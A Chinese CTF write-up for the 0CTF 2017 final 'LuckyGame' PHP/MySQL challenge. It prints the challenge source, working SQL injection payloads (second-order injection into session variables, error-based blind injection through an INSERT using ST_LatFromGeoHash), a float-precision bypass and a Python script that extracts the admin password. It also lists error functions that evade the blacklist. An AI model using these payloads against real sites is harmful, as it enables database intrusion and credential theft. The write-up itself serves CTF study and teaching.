内容简介:0CTF(TCTF)-2017-final Web LuckyGame Writeup
觉得这道题非常有意思,质量很高,当时比赛期间没有做出来,所以赛后复现了一下。这道题其实考点都很普通,但是组合起来难度非常大,个人认为是一道非常棒的题目。
源码
题目描述如下:
题目用的 php7
和 mysql5.7
。 题目的源码很短,两百多行只有,直接贴出来源码如下:
<?php session_start(); ?> <!DOCTYPE html> <html> <head> <title>Lucky Game</title> <meta charset="utf-8"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Raleway:200"> <link href="https://fonts.googleapis.com/css?family=Noto+Sans" rel="stylesheet"> <link rel="stylesheet" href="https://unpkg.com/purecss@0.6.2/build/pure-min.css" integrity="sha384-UQiGfs9ICog+LwheBSRCt1o5cbyKIHbwjWscjemyBMT9YCUMZffs6UqUTd0hObXD" crossorigin="anonymous"> <link rel="stylesheet" href="https://purecss.io/combo/1.18.13?/css/main-grid.css&/css/main.css&/css/menus.css&/css/rainbow/baby-blue.css"> <style> .header{font-family: 'Noto Sans', sans-serif;} .header h1{color: rgb(202, 60, 60);} .button-error {background: rgb(202, 60, 60);} .button-success {background: rgb(28, 184, 65);} </style> </head> <body> <div id="layout"> <div id="menu"> <div class="pure-menu"> <a class="pure-menu-heading" href="#">TCTF</a> </div> </div> <div id="main"> <div class="header"> <h1>幸运数字</h1> <h2>Shall we play a "lucky" game?</h2> </div> <div class="content"> <?php if (!$link=mysqli_connect('localhost', "root", "1")) die('Connection error'); if (!mysqli_select_db($link,'test')) die('Database error'); $tbls = "SELECT group_concat(table_name SEPARATOR '|') FROM information_schema.tables WHERE table_schema=database()"; $cols = "SELECT group_concat(column_name SEPARATOR '|') FROM information_schema.columns WHERE table_schema=database()"; $query = mysqli_query($link,$tbls,MYSQLI_USE_RESULT); $tbls_name = mysqli_fetch_array($query)[0]; mysqli_free_result($query); $query = mysqli_query($link,$cols,MYSQLI_USE_RESULT); $cols_name = mysqli_fetch_array($query)[0]; mysqli_free_result($query); # CREATE TABLE users(id int NOT NULL,username varchar(24),password varchar(32),points int,UNIQUE KEY(username)); # INSERT INTO users VALUES(1,"admin",md5(password_of_admin),10); # CREATE TABLE logs(id int NOT NULL,log varchar(64)); foreach($_POST as $k => $v){ if(!empty($v) && is_string($v)) $_POST[$k] = trim(mysqli_escape_string($link,$v)); else unset($_POST[$k]); } foreach($_GET as $k => $v){ if(!empty($v) && is_string($v)) $_GET[$k] = trim(mysqli_escape_string($link,$v)); else unset($_GET[$k]); } function filter($s){ global $tbls_name,$cols_name; $blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>"); return $s; } function register($username,$password){ global $link; $q = sprintf("INSERT INTO users VALUES (id+1,'%s',md5('%s'),10)", filter($username),filter($password)); if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE; return TRUE; } function login($username,$password){ global $link; $q = sprintf("SELECT * FROM users WHERE username = '%s' AND password = md5('%s')", filter($username),filter($password)); if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE; $result = mysqli_fetch_array($query); mysqli_free_result($query); if(count($result)>0){ $_SESSION['id'] = $result['id']; $_SESSION['user'] = $result['username']; return TRUE; } else { unset($_SESSION['id'],$_SESSION['user']); return FALSE; } } function user_log($s){ global $link; $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')", filter($_SESSION['id'].'|'.$s)); #echo $q; if(!$query = mysqli_query($link,$q)) return FALSE; return TRUE; } function update_point($p){ global $link; $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d", $p,$_SESSION['id']); if(!$query = mysqli_query($link,$q)) return FALSE; if(!user_log("Update ".$p)) return FALSE; return TRUE; } function my_point(){ global $link; $q = sprintf("SELECT * FROM users WHERE username = '%s'", filter($_SESSION['user'])); //echo $q; if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE; $result = mysqli_fetch_array($query); mysqli_free_result($query); return (int)($result['points']); } switch(@$_GET['action']){ case 'register': if(!empty($_POST['user']) && !empty($_POST['pass'])) if(!register($_POST['user'],$_POST['pass'])) die("<aside>Something went wrong!</aside>"); break; case 'login': if(!empty($_POST['user']) && !empty($_POST['pass'])) login($_POST['user'],$_POST['pass']); break; case 'logout': unset($_SESSION['user'],$_SESSION['id']); break; default: break; } if(empty($_SESSION['user'])){ echo <<<EOF <form action="?action=register" method=POST class="pure-form pure-form-stacked"> <fieldset> <input type=text name=user required placeholder="Username" /> <input type=password name=pass required placeholder="Password" /> <button type="submit" class="pure-button pure-button-primary">Register</button> </fieldset> </form> <form action="?action=login" method=POST class="pure-form pure-form-stacked"> <fieldset> <input type=text name=user required placeholder="Username" /> <input type=password name=pass required placeholder="Password" /> <button type="submit" class="pure-button pure-button-primary button-success">Login</button> </fieldset> </form> EOF; die(); } $points = my_point(); if($points == 1337){ user_log('winner'); echo "<h3>Well played, we will give you a reward soon.</h3>"; } #var_dump(mysqli_fetch_array(mysqli_query($link,"select @c",MYSQLI_USE_RESULT))); echo <<<EOF <h1>Hello <a href='?action=logout'>{$_SESSION['user']}</a></h1> <h2>You got {$points} points</h2> <form method=GET class="grid-panel pure-form-aligned pure-form"> <div class="bet-control pure-control-group"> <label for="bet-input"> Your bet </label> <input name="bet" id="bet-input" data-content="bet-input" type="number" min="0" max="16" value=1> </div> <div class="guess-control pure-control-group"> <label for="guess-input"> Your guess </label> <input name="guess" id="guess-input" data-content='guess-input' type="number" min="0" value=1> </div> <button type="submit" class="pure-button pure-button-primary button-error">Place</button> </form> EOF; if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){ echo "<aside>"; if($_REQUEST['bet'] > $points) die("What?! you're cheater!"); $number = rand()%8; echo "It is...<h1 style='color:#fff'>".$number."</h2><br />"; if( $number == $_REQUEST['guess'] ){ echo "You won!"; if(!update_point($_REQUEST['bet'])) return; } else { echo "You lost :("; if(!update_point(-$_REQUEST['bet'])) return; } echo "</aside>"; } mysqli_close($link); ?> </div> </div> </div> </body> </html>
寻找注入点
由于源代码比较少,而且与数据库的交互语句就那么几个地方,通读之后应该能够比较容易就能找到两个注入点
注入点1
用户注册的时候如下:
密码被MD5了所以没办法搞,用户名被过滤了不能直接注入。 但是我们看在登陆的时候会调用 my_point()
函数
函数直接把 session
里面的 user
带入查询,但是这个 session
的 user
来源直接是数据库数据。在 login
函数里面赋的值。所以 username
存在一个二次注入。 尝试一下。如下:
登陆之后发现我们的分数变成了999分
但是问题来了,我们观察代码中关于数据库结构的注释可以知道username的最长为24。
所以这里这个点很难直接去动密码的手。
注入点2
总共就几个数据库交互点。我们看下面这部分代码
function user_log($s){ global $link; $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')", filter($_SESSION['id'].'|'.$s)); echo $q; if(!$query = mysqli_query($link,$q)) return FALSE; return TRUE; } function update_point($p){ global $link; $q = sprintf("UPDATE users SET points=points+%d WHERE id = %d", $p,$_SESSION['id']); //echo $q; if(!$query = mysqli_query($link,$q)) return FALSE; if(!user_log("Update ".$p)) return FALSE; return TRUE; }
首先看 update_point
函数,发现其中格式化的时候是 %d
,所以没法儿注入,但是发现它调用了 user_log
函数,而且直接把参数 $p
传递给了 user_log
,而 user_log
里面就是 insert 语句,而且格式化参数是 %s
,所以如果 update_point
的 $p
可控就有一个insert的注入。
我们看看哪儿调用了 update_point
,代码最后
if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){ echo "<aside>"; if($_REQUEST['bet'] > $points) die("What?! you're cheater!"); $number = rand()%8; echo "It is...<h1 style='color:#fff'>".$number."</h2><br />"; if( $number == $_REQUEST['guess'] ){ echo "You won!"; if(!update_point($_REQUEST['bet'])) return; } else { echo "You lost :("; if(!update_point(-$_REQUEST['bet'])) return; } echo "</aside>"; }
当赌赢了和输了都会调用,而且参数就是我们可控的,但是输了的时候在调用 update_point
会在我们的输入前面加上负号无法利用,所以赢了就可以。 但是我们还需要注意我们输入的 bet
要通过这个判断 if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
,这一点后续利用的时候再进行讨论。
分析
我们再分析构造利用之前,需要看看过滤情况。最开始有一个全局的过滤,但是全局过滤只过滤了 $_POST,$_GET
,而后续获取变量值的时候用的是 $_REQUEST
,所以最开始的全局过滤没用的。
所以来直接看看这个过滤代码。
function filter($s){ global $tbls_name,$cols_name; $blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>"); return $s; }
过滤了一些延迟函数,和一部分报错函数(注意题目 mysql 版本5.7,报错函数多得是,这点过滤根本不足为惧),还有最关键就是过滤了含表名列名的输入参数。这是最关键的。也就是说我们需要在不使用表名列名的情况下搞出管理员密码。
但是我们现在可以利用的两个注入点,一个被长度限制在24,所以单独依靠第一个username的二次注入是没办法直接搞定的。
另一个是insert语句,只能用盲注,而且时间函数被过滤了也就是只能用bool盲注。但是insert一般都是时间盲注,本身不存在bool盲注,但是题目帮我们设置好了。
function user_log($s){ global $link; $q = sprintf("INSERT INTO logs VALUES (id+1,'%s')", filter($_SESSION['id'].'|'.$s)); echo $q; if(!$query = mysqli_query($link,$q)) return FALSE; return TRUE; }
看看这里,一旦这个语句执行没有返回,即执行报错,就会return一个false。而这样代码最后的
这部分html标签就会出不来,所以这个就是二分点。我们可以控制让它报错或是不报错,从而根据返回值来判断。
组合利用
由于无法在输入中使用含表名和列名的字符串,所以我们可以利用临时变量,这一点确实没有想到。 我们可以看到再最后才有一个关闭数据库连接。在登陆之后每次访问页面都会调用一次 my_point
函数,就是上面分析的第一个注入点的地方,所以我们在这里注册一个这样子的用户名 admin' into @a,@b,@c,@d#
,
这样每次访问页面就会将 user
中的admin那一列值存入四个临时变量,而此时我们可以去触发insert盲注来进行爆破,
我们利用的就是mysql中 and
的特性,先看下面的例子
mysql> select 1 from users where 1 and ST_LatFromGeoHash(version()); ERROR 1411 (HY000): Incorrect geohash value: '5.7.18-0ubuntu0.16.04.1' for function ST_LATFROMGEOHASH mysql> select 1 from users where 0 and ST_LatFromGeoHash(version()); Empty set (0.00 sec)
ST_LatFromGeoHash
是mysql5.7以上可以用于报错的函数。这里对于and的前后两个条件来说,如果前面的条件为0,那么它就不会执行后面的条件语句了。因为最后结果肯定是0,而前面如果是1就会执行后面的语句,所以我们可以通过这样子来控制insert 报错,一旦报错返回的html文档就是不完全的,所以可以根据这个判断结果。
例如我执行下述两个语句
http://127.0.0.1:7000/?guess=1&bet=1e-324' and( (substring(@c,1,1)>'z') and (ST_LatFromGeoHash(version())) )or' http://127.0.0.1:7000/?guess=1&bet=1e-324' and( (substring(@c,1,1)>'a') and (ST_LatFromGeoHash(version())) )or'
语句一返回如下:
语句二返回如下:
所以可以开始盲注了。
在这之前再看看我们前面的构造为啥是 1e-324
,在上面分析过我们需要绕过
if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
这个判断。 由于我们用户名的设置,所以我们 $point
是0,所以我们需要输入的值要小于0。 这里用了一个 php 精度的trick。e是科学计数法的表示,实际 1eX
代表 1*(10^X)
1e-1>0 1e-2>0 .... 1e-323>0 1e-324<0 1e-325<0 ....
所以我们就可以绕过这个判断。
poc
最后编写脚本如下:
import requests r=requests.session() url="http://127.0.0.1:7000/" payload=url+"?guess=1&bet=1e-324' and((substring(@c,%d,1)>'%s')and(ST_LatFromGeoHash(version())))or'" data={"user":"admin' into @a,@b,@c,@d#","pass":"1"} r.post(url+"?action=login",data=data) ans="" for i in xrange(1,100): start=1 end=128 while start<end: mid=(start+end)/2 content=r.get(payload%(i,chr(mid))).content while "You won!" not in content: content=r.get(payload%(i,chr(mid))).content if "</html>" in content: end=mid else: start=mid+1 ans+=chr(start) print ans
后记
复现的时候,我们需要注意,mysql5.7以上默认是开启了 STRICT_TRANS_TABLES
,而做这道题我们如果开启这个就没办法做了。
另外就是报错函数,除了上面我使用的以外,我们还可以选择很多其他报错函数也能绕过过滤。 下面是比较通用的,5.1以上就能用的:
geometrycollection() multipoint() polygon() multipolygon() linestring() multilinestring()
下面是5.7以上版本才有的
ST_LatFromGeoHash() ST_LongFromGeoHash() GTID_SUBSET() GTID_SUBTRACT() ST_PointFromGeoHash()
当然不一定要用这几个报错函数,也可以构造一些语句使insert报错也可以。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。